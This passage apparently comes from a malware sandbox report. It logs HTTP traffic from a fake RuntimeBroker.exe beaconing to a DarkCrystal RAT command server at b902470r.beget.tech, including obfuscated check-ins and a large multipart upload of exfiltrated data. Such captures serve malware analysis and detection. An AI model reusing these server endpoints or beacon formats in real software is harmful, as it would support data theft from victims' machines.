Nov 9, 2024 22:22:40.446331024 CET	2544	OUT	Data Raw: 50 52 59 59 53 5b 5b 5c 5d 5d 54 54 54 57 5b 54 56 5c 5f 58 5b 55 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PRYYS[[\]]TTTW[TV\_X[UZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]315B786"-83Z+!.$[)(?X$?$3Z?8%>%9'Y&%[(
Nov 9, 2024 22:22:41.005614996 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:41.063082933 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:42.543164015 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:42.899452925 CET	2544	OUT	Data Raw: 50 51 5c 5d 56 57 5b 52 5d 5d 54 54 54 51 5b 50 56 5b 5f 59 5b 57 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PQ\]VW[R]]TTTQ[PV[_Y[WZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"05A7(!X5X;0,X7+843Y3(?^?1../'Y&%[(8
Nov 9, 2024 22:22:43.453989029 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:43.506534100 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:43.635798931 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:44.022793055 CET	2544	OUT	Data Raw: 55 5b 59 5f 56 5d 5b 50 5d 5d 54 54 54 50 5b 5a 56 5a 5f 5d 5b 5d 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[Y_V][P]]TTTP[ZVZ_][]Z\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!!C 8".<X$/X )840'<(2!9?'Y&%[(<
Nov 9, 2024 22:22:44.549907923 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:44.600672960 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:44.732882023 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:45.088512897 CET	2544	OUT	Data Raw: 55 56 5c 59 56 5c 5e 52 5d 5d 54 54 54 51 5b 57 56 5a 5f 59 5b 53 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UV\YV\^R]]TTTQ[WVZ_Y[SZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!%!!@"+>">7'#_ X$^*7353'?0?1=-?'Y&%[(8
Nov 9, 2024 22:22:45.679276943 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:45.732327938 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:44.977986097 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:45.337734938 CET	540	OUT	Data Raw: 50 57 59 58 56 58 5b 51 5d 5d 54 54 54 56 5b 55 56 5d 5f 5b 5b 57 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PWYXVX[Q]]TTTV[UV]_[[WZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%" _6-8337 *+7X0/'7^+(&9?'Y&%[($
Nov 9, 2024 22:22:45.896070004 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:45.958154917 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:45.958563089 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:46.305665970 CET	2544	OUT	Data Raw: 50 51 5c 5d 56 56 5b 5d 5d 5d 54 54 54 52 5b 54 56 51 5f 52 5b 53 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PQ\]VV[]]]TTTR[TVQ_R[SZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y%!1E 5[6=<0,(4.;>#X'60' ??E%.[9?'Y&%[(
Nov 9, 2024 22:22:46.664953947 CET	1236	OUT	Data Raw: 50 51 5c 5d 56 56 5b 5d 5d 5d 54 54 54 52 5b 54 56 51 5f 52 5b 53 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PQ\]VV[]]]TTTR[TVQ_R[SZ]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!Y%!1E 5[6=<0,(4.;>#X'60' ??E%.[9?'Y&%[(
Nov 9, 2024 22:22:46.667124987 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:46.667454958 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:46.669269085 CET	1308	OUT	Data Raw: 3f 1d 19 1f 3d 03 02 3d 02 00 24 38 38 04 35 35 2e 00 34 59 3f 15 26 5a 09 39 06 1d 03 5d 05 39 08 12 32 0f 37 3d 02 2a 31 3a 3b 3b 07 51 06 26 34 5e 18 2d 38 38 3d 33 31 57 2e 3b 30 04 14 03 25 20 2f 1d 3c 04 0f 59 00 3e 3c 31 3c 3d 39 27 08 03 Data Ascii: ?==$8855.4Y?&Z9]927=1:;;Q&4^-88=31W.;0% /<Y><1<=9'29+#6(7&#3<2:6$%#3(9A8.?)'-7X@1-#4306,,1<$$ \/?>$#?(=<&,2\/$#Y9##,3]>)"%4(?/&\;+5><;;Q?<4>&&$:8. >=
Nov 9, 2024 22:22:46.999963999 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:22:47.002635002 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----pt0Og6laWiHcK3Rfq5JcBbr4aFSccaUZ9k User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 177394 Expect: 100-continue
Nov 9, 2024 22:22:47.288324118 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:47.288580894 CET	3708	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 70 74 30 4f 67 36 6c 61 57 69 48 63 4b 33 52 66 71 35 4a 63 42 62 72 34 61 46 53 63 63 61 55 5a 39 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------pt0Og6laWiHcK3Rfq5JcBbr4aFSccaUZ9kContent-Disposition: form-data; name="0"Content-Type: text/plainPUYRVY[U]]TTTS[UVP_X[WZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:22:47.293582916 CET	7416	OUT	Data Raw: 64 30 56 42 51 58 64 46 51 6b 46 52 52 55 4a 42 55 55 56 43 51 56 46 42 51 55 46 42 51 55 46 42 51 55 56 44 51 58 64 52 52 6b 4a 6e 59 30 6c 44 55 57 39 4d 4c 7a 68 52 51 58 52 53 52 55 46 42 5a 30 56 44 51 6b 46 52 52 45 4a 42 59 30 5a 43 51 56 Data Ascii: d0VBQXdFQkFRRUJBUUVCQVFBQUFBQUFBQUVDQXdRRkJnY0lDUW9MLzhRQXRSRUFBZ0VDQkFRREJBY0ZCQVFBQVFKM0FBRUNBeEVFQlNFeEJoSkJVUWRoY1JNaU1vRUlGRUtSb2JIQkNTTXpVdkFWWW5MUkNoWWtOT0VsOFJjWUdSb21KeWdwS2pVMk56ZzVPa05FUlVaSFNFbEtVMVJWVmxkWVdWcGpaR1ZtWjJocGFuTjBkWFo
Nov 9, 2024 22:22:47.298398018 CET	2472	OUT	Data Raw: 56 57 64 75 4d 79 74 69 53 44 52 56 4c 33 64 45 4e 46 5a 59 62 32 59 76 55 44 46 78 55 43 39 6d 65 46 41 76 61 55 73 7a 5a 6b 52 75 61 46 64 34 4f 45 31 74 4e 43 74 34 55 7a 4e 46 62 6a 4a 71 57 6e 59 34 4e 57 78 50 54 6e 56 6a 57 58 64 43 4c 32 Data Ascii: VWduMytiSDRVL3dENFZYb2YvUDFxUC9meFAvaUszZkRuaFd4OE1tNCt4UzNFbjJqWnY4NWxPTnVjWXdCL2VOTEc0ekRWYU1vdzNmbDZYS3dXRHhOS3RHVTlsNSt0anhtWC9YUC9BTHhwbk5Qay93QmEvd0R2R21HdmVwZnc0K2lQbUszOFNYcXdwS1dpdERNU2lseFNVREVvcGNVbEFDZDZLTzlGQXdvTkZGQUNVVVVVREVOSlR
Nov 9, 2024 22:22:47.298444986 CET	1236	OUT	Data Raw: 54 7a 4d 32 4d 32 31 32 5a 6a 68 4a 4c 7a 56 49 57 43 38 34 54 45 67 78 57 43 39 75 4d 48 4e 32 4b 79 74 59 4c 33 64 45 61 58 45 31 64 6c 5a 30 56 47 30 78 61 6c 56 77 59 6a 5a 6b 56 56 4e 54 55 55 52 4a 61 6b 4a 34 64 30 46 50 4b 32 5a 54 63 57 Data Ascii: TzM2M212ZjhJLzVIWC84TEgxWC9uMHN2KytYL3dEaXE1dlZ0VG0xalVwYjZkVVNTUURJakJ4d0FPK2ZTcW9TT1Y3Y1d0N1ozU1RYaVdSa2hkd0k1Vys2R0RJckFIbmtBamcxRTd3SDdRYmUvczdwYmFGcHBURVpCdEFkVXg4NkxrNVllM1htcm94d05LWFBUMGZ6TThROHlyUjluVjFYb2hhS3J6M1N3V0F2R2FMeWphRzd4dk9
Nov 9, 2024 22:22:47.298734903 CET	1236	OUT	Data Raw: 63 57 70 6c 4d 30 31 71 62 79 74 77 4e 47 6b 7a 54 6e 6c 50 65 44 46 48 62 57 56 50 4e 7a 64 54 64 45 35 6e 63 31 6c 69 56 7a 4a 6c 54 30 56 46 51 6d 34 7a 57 6b 39 54 56 44 4a 51 64 6c 5a 32 4c 32 68 61 5a 58 46 6d 4f 45 46 51 62 46 70 6d 61 79 Data Ascii: cWplM01qbytwNGkzTnlPeDFHbWVPNzdTdE5nc1liVzJlT0VFQm4zWk9TVDJQdlZ2L2haZXFmOEFQbFpmay84QThWWEdJMW0ybTNGKzJzYWRISGJ1c2N5dDUrNUhiZHRYaUlnazdUMEpGT3VJVnM1SjB2THl6dDJqbmt0azh4M3hOSWdCWUtRaHhqY3ZMYlJ6OWNlZTZXWFNscnY2dit1cDZpclpyRkpMYjBpZGgvd3N2VmYrZk9
Nov 9, 2024 22:22:47.298749924 CET	1236	OUT	Data Raw: 5a 30 45 33 56 57 34 32 61 57 35 61 54 32 46 52 4d 45 52 46 53 57 38 35 53 31 68 32 4b 30 35 49 5a 6a 68 68 51 55 56 34 64 30 74 51 63 6c 46 6c 59 55 30 76 56 45 5a 4a 57 57 78 47 54 44 42 77 54 54 42 42 52 6b 45 30 63 46 4a 34 55 31 6c 76 51 56 Data Ascii: Z0E3VW42aW5aT2FRMERFSW85S1h2K05IZjhhQUV4d0tQclFlYU0vVEZJWWxGTDBwTTBBRkE0cFJ4U1lvQVFVZERTNXBBTUNnWVVjNG9GRk1EcjlVUnBOTXVFVVpZcnhWZlU5YnRiM1g1cjY1ampObmE2eWwzR2tGcnMrM3dFNFlTS0ZBWjFBeUMvSkRNQ2VsYWhHUmcwenlveU1HTmNlbUs0TVhnVmlKUmszYTMvQS95UEp3V1l
Nov 9, 2024 22:22:48.145081043 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:45.467665911 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2196 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:45.821263075 CET	2196	OUT	Data Raw: 55 51 59 5a 53 5f 5e 52 5d 5d 54 54 54 57 5b 54 56 5e 5f 5a 5b 5c 5a 5d 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQYZS_^R]]TTTW[TV^_Z[\Z]V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"$!"+%[#>/'<7_4.=43;0<??&-%:'Y&%[(
Nov 9, 2024 22:22:46.667363882 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:46.667404890 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5f 28 2a 00 09 23 29 0f 08 2a 0f 00 0b 3f 2d 2e 00 27 23 3c 5b 2b 2f 3e 06 2b 2e 3c 08 36 03 32 14 33 05 3d 13 36 22 3c 5b 32 30 2b 5a 01 1c 25 44 2b 04 30 1c 25 16 35 08 24 34 3d 5c 37 3c 37 5e 25 37 3b 59 32 32 26 0f 3e 23 02 56 2c 21 0f 5d 28 00 38 1e 25 21 2d 0c 23 35 2a 55 03 12 23 1a 3e 2d 2b 57 32 13 30 0e 3c 08 38 58 23 2d 23 5b 23 38 2c 10 30 5e 2b 59 2f 0d 0d 01 24 1d 06 01 3c 31 2b 1f 23 12 31 54 27 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #_(#)?-.'#<[+/>+.<623=6"<[20+Z%D+0%5$4=\7<7^%7;Y22&>#V,!](8%!-#5*U#>-+W20<8X#-#[#8,0^+Y/$<1+#1T':#P-#H?\V
Nov 9, 2024 22:22:46.667465925 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5f 28 2a 00 09 23 29 0f 08 2a 0f 00 0b 3f 2d 2e 00 27 23 3c 5b 2b 2f 3e 06 2b 2e 3c 08 36 03 32 14 33 05 3d 13 36 22 3c 5b 32 30 2b 5a 01 1c 25 44 2b 04 30 1c 25 16 35 08 24 34 3d 5c 37 3c 37 5e 25 37 3b 59 32 32 26 0f 3e 23 02 56 2c 21 0f 5d 28 00 38 1e 25 21 2d 0c 23 35 2a 55 03 12 23 1a 3e 2d 2b 57 32 13 30 0e 3c 08 38 58 23 2d 23 5b 23 38 2c 10 30 5e 2b 59 2f 0d 0d 01 24 1d 06 01 3c 31 2b 1f 23 12 31 54 27 3a 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #_(#)?-.'#<[+/>+.<623=6"<[20+Z%D+0%5$4=\7<7^%7;Y22&>#V,!](8%!-#5*U#>-+W20<8X#-#[#8,0^+Y/$<1+#1T':#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:47.165879011 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:47.524389982 CET	2544	OUT	Data Raw: 55 5a 59 53 56 5d 5b 5d 5d 5d 54 54 54 5d 5b 53 56 5c 5f 5d 5b 56 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UZYSV][]]]TTT][SV\_][VZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!3.#!Y"=#$Z4.4Z>;Y0C$%?#^(;'$>*9'Y&%[(
Nov 9, 2024 22:22:48.081546068 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:48.144835949 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:48.277735949 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:22:48.633862972 CET	2544	OUT	Data Raw: 55 52 59 53 56 5b 5b 54 5d 5d 54 54 54 52 5b 52 56 5a 5f 5a 5b 50 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: URYSV[[T]]TTTR[RVZ_Z[PZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\0!=C#!_5]$[4. X);8$68[0<?#&.-./'Y&%[(
Nov 9, 2024 22:22:49.207508087 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:49.271372080 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49772	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:22:49.415144920 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:22:49.774547100 CET	2544	OUT	Data Raw: 55 5b 5c 5a 56 59 5b 5c 5d 5d 54 54 54 56 5b 53 56 5a 5f 5d 5b 5c 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\ZVY[\]]TTTV[SVZ_][\ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!]%!=49Y!(]0<#4=(Z=7Z'6?0?<+&.&]:'Y&%[($
Nov 9, 2024 22:22:50.339529037 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:22:50.400566101 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:22:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49773	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
